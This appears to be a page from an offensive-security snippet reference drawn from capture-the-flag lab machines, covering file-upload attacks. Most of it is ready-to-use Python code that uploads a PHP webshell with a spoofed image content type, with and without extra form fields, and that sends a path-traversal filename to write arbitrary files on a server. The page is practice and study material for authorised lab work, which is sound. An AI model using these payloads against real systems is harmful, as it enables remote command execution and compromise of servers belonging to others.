Skip to content
File uploads

File uploads

Multipart file upload (webshell)

files tuple = (filename, content, content_type); a spoofed content_type bypasses naive checks.

files = {
    "file": ("shell.php", "<?php system($_REQUEST['cmd']); ?>", "image/jpeg")
}
r = s.post(url=UPLOAD_URL, files=files, verify=False, proxies=PROXIES, timeout=10)
# webshell then at: {URL}/uploads/shell.php?cmd=id

Find by: upload, multipart, file, files, webshell, form-data, content-type, rce, image · Source: PG/Zipper, PG/MZEEAV

Multipart upload + extra form fields

data= is passed alongside files= when the form needs other inputs (username, csrf, submit).

data = {
    "txtusername": "abcd",
    "txtfullname": "abcd",
    "btncreate": ""
}
file = {
    "avatar": ("shell.php", b"<?php system($_REQUEST['cmd']); ?>", "image/jpg")
}
r = s.post(url=UPLOAD_URL, data=data, files=file, verify=False, proxies=PROXIES, timeout=10)

Find by: upload, multipart, file plus data, form fields, files and data, mixed · Source: HTB/Unbalanced (Prison MS)

Path-traversal filename in upload

A filename becomes an arbitrary-file-write primitive when application code joins that attacker-controlled name to an upload directory without verifying the resolved destination. ../ components then move the destination outside the intended directory. Multipart parsing alone does not perform this write; the vulnerable behavior belongs to the application’s file-storage path.

traversal_file = f"../../../../../../..{absolute_path}"
files = {
    "file": (traversal_file, "test", "image/jpeg")
}
r = s.post(url=UPLOAD_URL, files=files, verify=False, proxies=PROXIES, timeout=10)

Find by: path traversal, lfi, upload, filename, dot dot slash, arbitrary write, directory traversal, overwrite · Source: PG/WallpaperHub